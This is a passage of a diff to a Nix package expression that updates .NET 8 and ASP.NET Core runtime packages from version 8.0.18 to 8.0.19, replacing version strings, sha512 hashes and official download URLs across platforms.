     linux-musl-arm64 = [
       (fetchNupkg {
         pname = "Microsoft.AspNetCore.App.Runtime.linux-musl-arm64";
-        version = "8.0.18";
-        hash = "sha512-Y6AHcXcoFbZ+ZNs6M/SnQieZHPd2I5isi9mviZ2svHqXsUi3GIC7wLHj+SrJpv27UpWVTJqcGoalEz1uNO7KYw==";
+        version = "8.0.19";
+        hash = "sha512-bBiA+tLA5pZOrtC4u9KhUlh8mcXFMZoUmGLDII4Iu5uJxWoq2tox70OHOgjwbHF83Q5600xAX/lJ4cNw9WVIJg==";
       })
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Host.linux-musl-arm64";
-        version = "8.0.18";
-        hash = "sha512-eO5zIpPTMrTUtDF4jSRL+3///bPp8KD/j54Vyni3hE1N7GW/0vivulh8eRqSGA5u2JqXnlpjmRKhgmR3Qcl3Ag==";
+        version = "8.0.19";
+        hash = "sha512-rTUR6aubOfJFQOnmWuYhhzWQfT2SgnMXNglHXNTk9uod+C+P20ZaiJGU0YUObsNhi52MeTObNXPorBBqk5yKqQ==";
       })
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Runtime.linux-musl-arm64";
-        version = "8.0.18";
-        hash = "sha512-dExyzX2A3z937eyzaU246VKWCTNu7SvZtcS7rENtnJ/0xjQn+b9mtGYlr9QwmnlpYGME4gDwxiYNz0AH2oFC9Q==";
+        version = "8.0.19";
+        hash = "sha512-s4W4o/3xrWkMYmpYeRVk/POlelIZ1XuHvVFhC760mVp8jN1zvyhJ5anAR2DKBOP8RhrMRQAyvv6g+5yYG/b1HQ==";
       })
       (fetchNupkg {
         pname = "runtime.linux-musl-arm64.Microsoft.NETCore.DotNetAppHost";
-        version = "8.0.18";
-        hash = "sha512-PjOZbnpXMRehVGAo45UAl/svvu7JEdQ+RTN4bcvOohJ0mgUtZJxHijaLRFqegEkC/HLysPCMIRS+NdoySgdXPg==";
+        version = "8.0.19";
+        hash = "sha512-nFTMBMKK0daVxvMxE0ORujxVBRSbdfBDZ9em4i4rbipCjmy9tFMbyzTccG3HykaG5X8czARrWs2zZMMRjwnNRQ==";
       })
       (fetchNupkg {
         pname = "runtime.linux-musl-arm64.Microsoft.NETCore.DotNetHost";
-        version = "8.0.18";
-        hash = "sha512-cYSafamQCxV6XB7HeLpsnzQChF9USa+gVUwXZZGd+SC3vInvWA3WJ0E6CpgHPzn2zTrBmoDmPVaknQCNklRlrQ==";
+        version = "8.0.19";
+        hash = "sha512-Jvzq5CmlYbc31/jf36++T/7PLMzkD5PemLeIM9i1lo8R53yRT8CjoyJhJ1GXWrdRCdwEqbGU2LDDCp10lWSyhw==";
       })
       (fetchNupkg {
         pname = "runtime.linux-musl-arm64.Microsoft.NETCore.DotNetHostPolicy";
-        version = "8.0.18";
-        hash = "sha512-nV5A+iQQX+vr0J9AJ5zf/sPXFi8T/zge2RLHwTiA8PhgPFrGSIqQN4Iu6l/xibmgOoKGOcN05Zx+4jD3FBc/+Q==";
+        version = "8.0.19";
+        hash = "sha512-ZEiEHIQnRNuCJpyuUqtIDgS+m6ZtlHSuDwqxdnEUV8RQtsgcLGF4kMnr7sfw/BjjRqLwf79lcRCiOFWVrwiiZQ==";
       })
       (fetchNupkg {
         pname = "runtime.linux-musl-arm64.Microsoft.NETCore.DotNetHostResolver";
-        version = "8.0.18";
-        hash = "sha512-0J8wYGosbk8+57fCrT4Oz4tWngsoTTooDiZg/SGMx1X4eR3tNRVbDfXSzXHwk5JwbCCAPMdk0zOPnAy7VqYFhg==";
+        version = "8.0.19";
+        hash = "sha512-pdJKTqFZEnWjO7YX3c1FU+gGB4/l+tILT5cDzRUUxf3hkUT8FeWzxcYLUySWk1MyoQcHLbyLvR1rygGbOf2y0w==";
       })
     ];
     linux-musl-x64 = [
       (fetchNupkg {
         pname = "Microsoft.AspNetCore.App.Runtime.linux-musl-x64";
-        version = "8.0.18";
-        hash = "sha512-Y1BIY/IjQxEjj9xN9Ws3QXE+xwQTS9Ud7oyKqpxjgW5nYiFkzIBHntB9GTvIPsob4KalmgvspG8pbd32YcW2Lw==";
+        version = "8.0.19";
+        hash = "sha512-+I52qNaW8BZAbCUO26826ZCHUjXB7OXdMbS+bAOOv3gt/yAZ3NiN7RSj7BhO3yfQdam5YBbuj0cBiqdrayJhNA==";
       })
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Host.linux-musl-x64";
-        version = "8.0.18";
-        hash = "sha512-Jc8N57Rarf5a/pojGgmTkzd8GoSUaBOnKJnrSTqYCizM2YoawM2Aps0tHvpRMG0s/u1NeXP5Zr64hJkVA4yLVw==";
+        version = "8.0.19";
+        hash = "sha512-dV/b0WViiujT19HQwz6fLKUB/orjGRJudQIQFmHM1Q/0mJ2Hr8GK103ZMpXHHGH+Fl/TqSCQzu8t/U0F9q3+Kw==";
       })
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Runtime.linux-musl-x64";
-        version = "8.0.18";
-        hash = "sha512-5uEfyHLfmuox4HVbRjWk0aHmho+P9pLPqGwP314G34wC1JCSdQRynaOYO/B5Bo7zplC/dcn4lfqUsu2lcwwEoQ==";
+        version = "8.0.19";
+        hash = "sha512-S9oXhzzMHc7eNO+f6qwEDddpBzzeTqtasZ+HpSFPkCQwolaJ+FMe+YoDDvsvsyzr55rCIhjl1HlhzMyv18TFtg==";
       })
       (fetchNupkg {
         pname = "runtime.linux-musl-x64.Microsoft.NETCore.DotNetAppHost";
-        version = "8.0.18";
-        hash = "sha512-cIK2i/pIgNaFwDroeEWob/Va+c7dhxF2jnIfedlKA9jIG3EJG2q0OngmF92olvJeEkso7xeC/SfhtE+CMGIbBg==";
+        version = "8.0.19";
+        hash = "sha512-PwRDoFO8M8OPF6RzJfXYamSsXKCNqbZBS075eSp7b/+gGusjVHZ0ZAcVpLCQJWQmcR0AVx5g0VfN+Yu9F7NDvA==";
       })
       (fetchNupkg {
         pname = "runtime.linux-musl-x64.Microsoft.NETCore.DotNetHost";
-        version = "8.0.18";
-        hash = "sha512-WQ4mXlESm0RzOi1fZYWA6r99Ohh5kfliawZ6MAi7fR27PkORbA7+HtysPzMG7fFYv+L5n1JrUwj8lKhJpbz/Bg==";
+        version = "8.0.19";
+        hash = "sha512-9OHIz+fXQuYSL90LYJaPctGzan90FFiwJRDCTA4Zc32vDaXagKtJ/QCiTnqomCsyo7JZDLTkKdasArGfvdbZRw==";
       })
       (fetchNupkg {
         pname = "runtime.linux-musl-x64.Microsoft.NETCore.DotNetHostPolicy";
-        version = "8.0.18";
-        hash = "sha512-erO4wuYmgpHtKJPr24sdYCRGvI0mkaghPhnqo7sPf2gdS4l1J53PMYyfsn7cwirpt2FLsItSXOA8FI38YpBfTQ==";
+        version = "8.0.19";
+        hash = "sha512-VcehwYA/43AmPo9udZYDx6UMQXxI5hMh0h9gKK8qrdT9B0dJaVfdlKvlAs6uN/wGQId6ggVRJbRUZnKLpdoDsg==";
       })
       (fetchNupkg {
         pname = "runtime.linux-musl-x64.Microsoft.NETCore.DotNetHostResolver";
-        version = "8.0.18";
-        hash = "sha512-3kKyR0GwV5lxYI3I2H5P1FTdy7E/MXF1kzoPQpxSglQRxW1zG5ubmjFAXh2D8Mfw5MtUoyyzBc9Y+uvM/SAx5w==";
+        version = "8.0.19";
+        hash = "sha512-g/LtDzB8jRYARNCN2q878xlDIeuRifUl3kSucaLoh30Z3cngd6+Aej3+cpZYMgM7jz+llfow0Bn4OJWvt1gqpQ==";
       })
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Runtime.Mono.linux-musl-x64";
-        version = "8.0.18";
-        hash = "sha512-s597lp1X9QNObLRiQ1R+w+4VqkB1ozc6emWQxAdfA6/Jbkr2HUkuj+R70k7E4lRCFXYJiEUeeAv6DLV034kxnQ==";
+        version = "8.0.19";
+        hash = "sha512-k0G2wrG2HHgC9p3BlePoshY+dhCtTHIvwaOd10DP0Uxanc2p1A1DAiekzJJPyigijzNXVX485Dp+muCPcfOjhA==";
       })
     ];
     osx-arm64 = [
       (fetchNupkg {
         pname = "Microsoft.AspNetCore.App.Runtime.osx-arm64";
-        version = "8.0.18";
-        hash = "sha512-f9+1sbW1c9OFYLmtq+b2NuviSCVCEOCvFfVVJFEQ9kVg4aKVNwwnSqGHL39P8Y9Bo2j0lzCg9G46PXz8xeqrdw==";
+        version = "8.0.19";
+        hash = "sha512-KUPz6ft9EX6olnkY4hJESg7vX00GBD8VF9J5d1kV7E50sUNAT1csl69MzINcdtFHoc5DXF+rEB6lVGH05h1u9w==";
       })
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Host.osx-arm64";
-        version = "8.0.18";
-        hash = "sha512-R3ycWivxbGaOXJOrWFgdDhvancCf3xcj3c2x71LHxzAwemQ2g42fmPQdnSfJrW5mlJLkZPkr3Fcy8z1pAVHO7g==";
+        version = "8.0.19";
+        hash = "sha512-+x0kVdmffJet7+YuFHKcREPMBV37bx7e4kfAjbD+5/+dA5KyAffcrQore4+gp8y9GY5q/lxgHpLdT9YF4X8ZVQ==";
       })
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Runtime.osx-arm64";
-        version = "8.0.18";
-        hash = "sha512-nwpET4yJfVfBLZPPZTwXykwsGFmBIQeu2WhsnKSy51UMMua9RH7wdaThMhY9dHHyMeRniqji8wJElv6ykiuwPA==";
+        version = "8.0.19";
+        hash = "sha512-v+Q43E/2RVECjIjyU/yIaKAdK2ipwf9iJ95LlFtBVaIxev+/CuFI6qiZ7TPWmh6ZmdlilqNdqFQj7qngTZG+fw==";
       })
       (fetchNupkg {
         pname = "runtime.osx-arm64.Microsoft.NETCore.DotNetAppHost";
-        version = "8.0.18";
-        hash = "sha512-NaT6sx3MV6BjcrbbqPrUSv0sbLCOTvc+qVlQzHjdplFVbm5kfcWRa61uNeUztrzQy10IdAerP5Rt5oU9S7Xm0A==";
+        version = "8.0.19";
+        hash = "sha512-FjuQE98YBxVTdMqhMN6ciE8af/J6EwkpW4XYC7vcJz53gSWJvB416C9Bs/1R09hP7Mua3lxTCzhKfnxWUmxCCw==";
       })
       (fetchNupkg {
         pname = "runtime.osx-arm64.Microsoft.NETCore.DotNetHost";
-        version = "8.0.18";
-        hash = "sha512-RD0S5aqsIpkOcsADZhG6TODKt104AyCh2gMzhXOwby8iMOQT+rj/PbZQP2fz7fOfuvcOe2VSSX/zoYQUfOqpzA==";
+        version = "8.0.19";
+        hash = "sha512-fWdoxak72kgmdK/e31YPvADhoFXjIOuUTe5BfhNr+oXFX6jCGxttf3L/W3NKzMntuHqpy303d3IrtgICJu75EA==";
       })
       (fetchNupkg {
         pname = "runtime.osx-arm64.Microsoft.NETCore.DotNetHostPolicy";
-        version = "8.0.18";
-        hash = "sha512-fDJDwEJojp8D6mNMy9HCH3dytuXssFGa9eMFXf1j9zDkLKTdAIoHO9hzgkFNBxdZII61TEt01PrYVbEk6U0AJQ==";
+        version = "8.0.19";
+        hash = "sha512-P1RHomV7Ei5h31DTIQOtUNMq/CziuWdfjmtU9ykBOWyWBH3aCl1K3jDm2hUs88C8Cb7NuOP0FI6So59ic8lhmQ==";
       })
       (fetchNupkg {
         pname = "runtime.osx-arm64.Microsoft.NETCore.DotNetHostResolver";
-        version = "8.0.18";
-        hash = "sha512-C8u1lKK0f/pL325CR27DQXXOtCIc3p+6yctd/GbaJY+G1vJvVBWknKlBmGBTzJaO0GlNxWKBG4b+Hb+WyRQPMQ==";
+        version = "8.0.19";
+        hash = "sha512-olOQVkYIeCv0FFYfrV9IfFJVLAnhjk1T/HDIRiNnyJ7JH8HFVytxAx8hQaIPL5xLGQquM/mxPlAoH0Tm2+k6XA==";
       })
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Runtime.Mono.osx-arm64";
-        version = "8.0.18";
-        hash = "sha512-L0ukahE5lLisbMxyoxWCQBpKY117P1oFQgoZ1hQQtch9C57V+aE2NVZWlw3CS9qZbgXNQM1V82KufKeQZuDr0w==";
+        version = "8.0.19";
+        hash = "sha512-4tRtmqt7/dUFo5EUzDwZ7CWYn3mOXbLO8+kQ23+CwPaTmkisNhOVX8oAAG6U2LZ2lCms6bFz0SI/C9zSMd+2Xw==";
       })
     ];
     osx-x64 = [
       (fetchNupkg {
         pname = "Microsoft.AspNetCore.App.Runtime.osx-x64";
-        version = "8.0.18";
-        hash = "sha512-v6qCvouvUtfA0DE4RNA3PrzogS4ONteXRY1fwGOSsLkl+KxPgqVdthRe3+gR2Lfvm9gTCotQ45apZtN40/lT/w==";
+        version = "8.0.19";
+        hash = "sha512-Q5PYdYTILXVSPTTXfKn+O8IvUH7kxY1YHc+Xl3r2aIUS7cAbKaWAV2S2WGUwlrC64E+ECyApC8hkJo8z7VOjHw==";
       })
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Host.osx-x64";
-        version = "8.0.18";
-        hash = "sha512-m/4V22FwHydLgj8uxm6N+ppVNg9Kg7RoRkjwYoJjn0KtIPNUMCIRzIuu4none/69xsnin4f8b04WmWeFVwSyEw==";
+        version = "8.0.19";
+        hash = "sha512-2vg1H2cjXAZAiFqhuej6VRDPyFuiye5t6T4wdtCtQtE/xQYY2T2CgU1ibeLEFusezKhPYLHV5lJn040UevXhpA==";
       })
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Runtime.osx-x64";
-        version = "8.0.18";
-        hash = "sha512-GQEbT3ZAZ1U7e0D6ITED9vCmWJFrV0cmS4+SIahtgXi0TZCZJzEwYoykqOPo6RoAOnXhfCeuvkjc228TguaFTg==";
+        version = "8.0.19";
+        hash = "sha512-Ci70ENA+3UZOxnQWgPUXuAuiWX9vtQVewQjkgds9plKsZTz9d1YsIsJcZy6yHeoOsJshiWmOfmTI2BlXtUsRIA==";
       })
       (fetchNupkg {
         pname = "runtime.osx-x64.Microsoft.NETCore.DotNetAppHost";
-        version = "8.0.18";
-        hash = "sha512-J/yYUDTa8pO11iHli+ABrIGtmy76Ku8I1zGslng16xgtlxZfX1bbemPDh4/2oV85h88ls0MAWfCb+kpcdsDCfQ==";
+        version = "8.0.19";
+        hash = "sha512-aA/2lxsdfu47/Jy97k0WO3jbA/8TCtc4eXli0zlHw9g3WFE7PcHlw52nLoY8nvTh6baB98f0mNE7nHqyWQ58mQ==";
       })
       (fetchNupkg {
         pname = "runtime.osx-x64.Microsoft.NETCore.DotNetHost";
-        version = "8.0.18";
-        hash = "sha512-dnpvnbwteEY5YMS5usz2NJsvhvYI9qjKGrGHDQ1uoYZg6N32k9kEPS1aSRyeDtlGkbb8Mn9k+fCseXnVOyAsNA==";
+        version = "8.0.19";
+        hash = "sha512-L0EG4UgRxbfDAXXMBIOCGt6MFCjEvasR0xUkriJZgK4YBldO47mePbesFxSGVCAtz0+t0hH2JNPZXBpKPajjBQ==";
       })
       (fetchNupkg {
         pname = "runtime.osx-x64.Microsoft.NETCore.DotNetHostPolicy";
-        version = "8.0.18";
-        hash = "sha512-gzBgLBbh8ZNmUtFiHa8I2fOOBkl1WiOC2iq8bYX/eVAd2n4h3wOxNG4+3tt1Ra1f58JbYASBG/sXqdMBliMI3A==";
+        version = "8.0.19";
+        hash = "sha512-MKWcwNJiO1e0fBQVHcJWnAYwwLqe78HtaCrWr9Bhe00bTeZb38+e/59tW68O+W81RbGJ9teBuUWHnk8MGQsTuQ==";
       })
       (fetchNupkg {
         pname = "runtime.osx-x64.Microsoft.NETCore.DotNetHostResolver";
-        version = "8.0.18";
-        hash = "sha512-Ddoy/MJj1S0xT09GAbrZnwSEUI7gQRcEOil3XaYA9pWnp8OXAi/of7GGZbbbD2HWGUtsSHmfmiRlRoXPhcFOEQ==";
+        version = "8.0.19";
+        hash = "sha512-QLYgv1LYdehkZ64BaCQ/tAjhPdGDHEq4TmLY9Afh3Hi18UNZ43HldL5v3bJ8rHsScoRf6mNCOjtiahBU1ziPVg==";
       })
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Runtime.Mono.osx-x64";
-        version = "8.0.18";
-        hash = "sha512-ZWRx5vfKRPpQEzwJpaQ6MZQ7JW9y7Jj2MvjKfLmmwATzG7z4PHhmM9QsNygmSrqsF24hJVjdDhxGs6vEcPXA9Q==";
+        version = "8.0.19";
+        hash = "sha512-cesMCMuSgKdhTe0G1Ix+RJ0dzrZa0r7SYsH6uQSXIR9zbSlyqs9EhqSP4GWoF8YuBc76AxYTSOuXp2hwqkmHCA==";
       })
     ];
     win-arm64 = [
       (fetchNupkg {
         pname = "Microsoft.AspNetCore.App.Runtime.win-arm64";
-        version = "8.0.18";
-        hash = "sha512-E6fXd/FU8IHuPlyuv0cfvr+8q7QJe0uF6u5lxU2EsCd3Z6qKxXS97w0U9o7OdriEGBC6oiwyzVq25oLQDvrbog==";
+        version = "8.0.19";
+        hash = "sha512-C/MtxBxoEnhHwQUdz776+FBVSuJgxqcaVp9IqoXjsE6axAq5M4opbs0DeaMyeiSCbHcsiihCDjnLnFb3uSVCVQ==";
       })
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Host.win-arm64";
-        version = "8.0.18";
-        hash = "sha512-dA97YbdoMd1HlkZ6LISmioAJHhG9QlzGtVfaAYwLHvMFDvlulS3DXMmSR+fRrP3h+A9sNR5nflpkIJ4khotAbA==";
+        version = "8.0.19";
+        hash = "sha512-K8JWBy0ampzz8lsHMAnnZY1m74C2aVQ8QTi77rQZpDFmDxXDwgvW8FArmRyN1eJC8cO0B/XKK+Ytwug0EqTTwA==";
       })
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Runtime.win-arm64";
-        version = "8.0.18";
-        hash = "sha512-KWXB2BApvTlT4Osl1KrDTA6pVUdc7cYbWcLEA+MrcQzwq1az0aLtp7cBVvTHGae7Zq18CvxBrMTQcyXTY2RHEA==";
+        version = "8.0.19";
+        hash = "sha512-y7SMliDR8ePTMmVj/VJWYI5R6kXeUuZDPfhyF0E7m+FzXaSbe7OgLGJbslkeoglZbyQ+GFPBeE/HqvHZwfrOMA==";
       })
       (fetchNupkg {
         pname = "runtime.win-arm64.Microsoft.NETCore.DotNetAppHost";
-        version = "8.0.18";
-        hash = "sha512-3eBkAXIr+RBbCEMZJGU0S6Owg2XFaDC6fpNENWG+0wBrw7lpLNqTUUtcTY7xA1IHLD4p0ffYc14QauObnL+mzg==";
+        version = "8.0.19";
+        hash = "sha512-QEQSSsQ9tijRXHU6Xe1z4Xm+nLP0xSyG0pm4QV4IyNGCZGRYJ2B1WDKRRUR2yddaiZ4ic5ZyDFdUFFx7oHpzkQ==";
       })
       (fetchNupkg {
         pname = "runtime.win-arm64.Microsoft.NETCore.DotNetHost";
-        version = "8.0.18";
-        hash = "sha512-NQrl3gWAuxIvq6Me5taCyOrGSjldQg4WGcmXiS4qnh/js+GvpG77XUNltfzWy7EamgCjjYIi3S6fHsxntxsMXw==";
+        version = "8.0.19";
+        hash = "sha512-4pRwedZaoa+WHS87F9xWVbOGLXnOAHMjgUhApg2rqAjXFmPNbgNJsXNe79WRin5b8F0A9RH7WqwCW0dC1MgJVA==";
       })
       (fetchNupkg {
         pname = "runtime.win-arm64.Microsoft.NETCore.DotNetHostPolicy";
-        version = "8.0.18";
-        hash = "sha512-KVwSnqrat6U8XT/aWXBwUlQB5uwJTwGV6TX0P3BPfMb01B99QvX0wuw/Rf57WSrjvlT5oG9gBFClBt2jIh3s/w==";
+        version = "8.0.19";
+        hash = "sha512-XTk+WJsxDOqUeAe6PLTNEPohOURWpufLTtnoLAB7jey4yRTs4BN1RVHB1fzb2JVYt0ZrmAGhFl65U2HP8freow==";
       })
       (fetchNupkg {
         pname = "runtime.win-arm64.Microsoft.NETCore.DotNetHostResolver";
-        version = "8.0.18";
-        hash = "sha512-ziuMoQo2E6qi8vRnire+pGCVES3HCxEVSE0ExXHeHdf20rQzO6Xv40Dm+bfDNvMzJLU9WDRDJ8OgULiB9XYn/g==";
+        version = "8.0.19";
+        hash = "sha512-HJm2e3BmQp1AmtazVr5GgRn3JDnvG/3Wy0b8PE3zToMKJ/ibUrjpmdxsCPjn1ZCJLTTwGf4rJGVj7ivivNBgkw==";
       })
     ];
     win-x64 = [
       (fetchNupkg {
         pname = "Microsoft.AspNetCore.App.Runtime.win-x64";
-        version = "8.0.18";
-        hash = "sha512-0E2hSPVKTdkeBHMpeRHYV45C1Vm5UppTb/YX6OV3y7sB7U9tTHRu6soC50Hnxv7013Umzle8g1dqFWzGFa/5PQ==";
+        version = "8.0.19";
+        hash = "sha512-CW2COJrFqYMeWd7hkNXlE3X05+9wEsxmAjW7oeGaU9FimgB9ksCOv9mqsf5Cu4IPDYHwQOuazvd63+89UjFBXQ==";
       })
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Host.win-x64";
-        version = "8.0.18";
-        hash = "sha512-tLz7EUFrCQq0obc2bVv7Qm0OLQYA9gAM9NUEGx3N1wtQ6+0yQg+Sy7UIa0LWCj28JBw7QU7yH3JaUWfVVtzwTg==";
+        version = "8.0.19";
+        hash = "sha512-3xbWEAv/E2aKa+0x6LIVsDFnjuLzyU5H/2ozDW8+nnA/JPdI1YWTTM5naxdIyWzRuGmxowfoUKd2aA2+qtt0Zw==";
       })
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Runtime.win-x64";
-        version = "8.0.18";
-        hash = "sha512-Txko4ZcsHAiOF+o4uYuUWjkP42/abwYmhRPh5h0k7WiwpQ5InU6vuqvub0aBj9Tbgc7ULOZXYxwhqSsyT80x8g==";
+        version = "8.0.19";
+        hash = "sha512-E/C4I96r86EjKqW2Tn2zN8390oSymQei/YhXg9QK7x2kBwuwCs5gTHaApUXxRp4d6BqqUaX7GNZesKq1FLqxNQ==";
       })
       (fetchNupkg {
         pname = "runtime.win-x64.Microsoft.NETCore.DotNetAppHost";
-        version = "8.0.18";
-        hash = "sha512-5IMZXp65TGVCv5cWzE+sa4DjOZ7lxDb3/ojumL7dqtZTKXBXxDKKEXWXQXkndJduTbTWLxEOJ3qNZK9oZRkLEA==";
+        version = "8.0.19";
+        hash = "sha512-pGUh9N4I8QFfZ40Rmlyed7ATMT1boIYM+dLNdqhJPttttQzmv5gbFb0ed6sz7HvCYcfJTFWv32F8lTcLjp92GQ==";
       })
       (fetchNupkg {
         pname = "runtime.win-x64.Microsoft.NETCore.DotNetHost";
-        version = "8.0.18";
-        hash = "sha512-OQa/DFd2MfWgVP6ffNY8LPptJUgd5cIa85WWF5vvzQu3N7b6ZHodf0FugfXrzr/OE1tNVXc2MgNE6gYu+cuVTQ==";
+        version = "8.0.19";
+        hash = "sha512-qAMK+KMMJqvY0U8L3knVx1zFK6G6nLvr7Pes2LGQQ5o/WXHGEIzju9Ga65NeF4thn/teXx+Cm2l41/QxiyJARg==";
       })
       (fetchNupkg {
         pname = "runtime.win-x64.Microsoft.NETCore.DotNetHostPolicy";
-        version = "8.0.18";
-        hash = "sha512-ymW//M4dvkpsR2olamF7EDdXA8ssjIQGKDopMVM9SU4piAiFKzrk58OcJzMU5+r0R10ClZWg7UR5BCYVe9apDw==";
+        version = "8.0.19";
+        hash = "sha512-Uu8uktFHgeD0K2HblQxoSpW9QXL/1QT1IDNQ9PTPQ0+qHUkASxpVmW22Q/OuLqjmhLoDuTwBQbzHTt1726hXow==";
       })
       (fetchNupkg {
         pname = "runtime.win-x64.Microsoft.NETCore.DotNetHostResolver";
-        version = "8.0.18";
-        hash = "sha512-dGZg9b54bEc3VTiYB/2kQvSjEIs/Q9zAhbRqI453gl/O1alVglJ8c4Ui6LFTVwrGgcZO5PLGvXHa4m6NrOeu2A==";
+        version = "8.0.19";
+        hash = "sha512-Ai4Ufjt0Ax7HrQE8JtH7Y/zT4yas0XukRWRDBUrsuCIyddx4gm5u1lNCOZvJFIDerEacnWoRiUFW6CaKVlw1gg==";
       })
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Runtime.Mono.win-x64";
-        version = "8.0.18";
-        hash = "sha512-+rw1VG6eVUjppOeH/9JPaNwtjm/nEAZFrRTWjcNkvWalG7yeTuhNeyuc77WYvc4I87yJBOvLB/dI2/QYNDIssA==";
+        version = "8.0.19";
+        hash = "sha512-u9qb/jJRjGTjkFRkSKQC9hfnK7IHDmP/PCbhYF7PiJH8/XlSpKcM5fhfZ68UxEuOnRpwTJNXxLISqgjffDorAQ==";
       })
     ];
     win-x86 = [
       (fetchNupkg {
         pname = "Microsoft.AspNetCore.App.Runtime.win-x86";
-        version = "8.0.18";
-        hash = "sha512-iE4MEnboqeUM4A/hd0jAvTGO50j+gziJqszz9PUhF4f3VgsUH80H78MEhYU34BsF3gBuKMMW3luywrPws9vCeA==";
+        version = "8.0.19";
+        hash = "sha512-aqqj3wMguPyHC9A+Za59KfhfKqKTZrX0b8YI5p2oQME6KL6FnUqnOBtMWA+EqVRmpnstuWbNQr7fYEZ6AkfZWw==";
       })
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Host.win-x86";
-        version = "8.0.18";
-        hash = "sha512-FT0tpzuEiQxsi5zyNILgW9rcmoI+KzvFtzEHtxha7X+WYTuVTOHD+itYUT1gpEgECHgPonkD9FUSjNfWPLEvPA==";
+        version = "8.0.19";
+        hash = "sha512-4hGpGg8mphHFlJ/Z9q1VBUucrTrayVz8yf7Q01nheO3TIeJzR6oBif2CiiBggZWGjyze5om29FWUes3dku2Ddg==";
       })
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Runtime.win-x86";
-        version = "8.0.18";
-        hash = "sha512-lRBru61Iknwa479ALoKT5S2ra5F/LbFrp4i7BZFwBltB5NAA1AVF7rTxlWaAyZ0wpypr8EsyCWepUnzg62ewlw==";
+        version = "8.0.19";
+        hash = "sha512-M3DsPVjB/r8D0jQzJdPq0TetSSc1TbafVfzRMNfdzeXH8tLEjoW+f7X+/H8pRpFifnf1je/ZudShNx43EcStdA==";
       })
       (fetchNupkg {
         pname = "runtime.win-x86.Microsoft.NETCore.DotNetAppHost";
-        version = "8.0.18";
-        hash = "sha512-ypgDsw9Edi/5pooVknF1KuQztaFe0vxAXoGqPeyqSJyzgjEy+VDsiFOwQ3jVAo708H52Bde3ep31mGFmKPwl6Q==";
+        version = "8.0.19";
+        hash = "sha512-CV648uVcnDWldJRlFFi8Ew2nvp5KnJnnQEfPUoQKFATFHkAQbUIRNovRHfaNawXWGmKKn4/nzxKH+0lxs+VdBg==";
       })
       (fetchNupkg {
         pname = "runtime.win-x86.Microsoft.NETCore.DotNetHost";
-        version = "8.0.18";
-        hash = "sha512-ZbjYmXt0IS5AfsxnsZ6tLT5mgV17N3ooOKXzVluwuEnQhxioH/6Qo6Dd6ou6bQiUvALia/lyXDOX0PwrzFgz6g==";
+        version = "8.0.19";
+        hash = "sha512-qGcn373HrhZLCxZf/hLlG/OgrmZ5XZkh2mzVci5IPsp8jzqimStPcI4M7jgpYXfAkP3KJ1DsgtcqnSSHxz1Q8A==";
       })
       (fetchNupkg {
         pname = "runtime.win-x86.Microsoft.NETCore.DotNetHostPolicy";
-        version = "8.0.18";
-        hash = "sha512-AhPxu82INmXyVO2hlWUpfiZbREsnHzTZrGfpyOU155loE9YgOuP9WEB4SgRLMtgpj/1ltBnUkIYedpM6jT9wjQ==";
+        version = "8.0.19";
+        hash = "sha512-BzT/17Ig4SqQIvkK42a3BcCQZMupZbtPTHBTdQn3qpgeZjXMiqxIxlbmrVqQcAMgFDo3EJlevy5hcDTLHd6YAQ==";
       })
       (fetchNupkg {
         pname = "runtime.win-x86.Microsoft.NETCore.DotNetHostResolver";
-        version = "8.0.18";
-        hash = "sha512-c+yHxGyXN312TLyqPLiCE2LuRl2HeZ3Z37b2drwKgy6WEbuzKR4/hhsa26ABQqb05HRe0OKYcE6inS0qyNRoBw==";
+        version = "8.0.19";
+        hash = "sha512-X2QLkgVo+ECd4ToqoXJs252UvB0gLF/pVzIADzczVmwnnZ3xw3QscvkEBQxTJRxfzH8y2n5BTJ7WXKVHPs6Gpw==";
       })
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Runtime.Mono.win-x86";
-        version = "8.0.18";
-        hash = "sha512-nNz4TK0BsQA75HnRAfhoaelmRE96RmzD1Hk6ysRXEuAWm/cLQOHaY9Urrlb+cKw/4m5AR8OplEwlYhAKRQnXDw==";
+        version = "8.0.19";
+        hash = "sha512-h422hRX55IIMQzTpHJXsKHWYTjmQhnu9SqH5etR8RToZpL9nIHXo0dWpl3bmsBpfKPhy+UUXU0OaR8OSbgzETA==";
       })
     ];
   };
 
 in
 rec {
-  release_8_0 = "8.0.18";
+  release_8_0 = "8.0.19";
 
   aspnetcore_8_0 = buildAspNetCore {
-    version = "8.0.18";
+    version = "8.0.19";
     srcs = {
       linux-arm = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/aspnetcore/Runtime/8.0.18/aspnetcore-runtime-8.0.18-linux-arm.tar.gz";
-        hash = "sha512-HCLFwQNsUTYWZa/7cVTiSK7uvDYegM8C0uSrJ/e+jhn7TKHmn0OiuWGtx72QBW9vtWrrbrUHqHpBv7plPT8A8g==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/aspnetcore/Runtime/8.0.19/aspnetcore-runtime-8.0.19-linux-arm.tar.gz";
+        hash = "sha512-a0r+fc5qsucGLLSFxGEm3OnP2wADch4NiIbM+qmm3uw+66+KTeaevklGOUDGyO9a3cRRLZwiY9gXELk09BuR6A==";
       };
       linux-arm64 = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/aspnetcore/Runtime/8.0.18/aspnetcore-runtime-8.0.18-linux-arm64.tar.gz";
-        hash = "sha512-mXzjYYBQP71N2G7UO1M/YYvh23zxcPUA0NEviZrf8i5bdxSUKqJRPuzmwSIkdhwUP7yR1ul9g8zK7YqBHrzYNQ==";
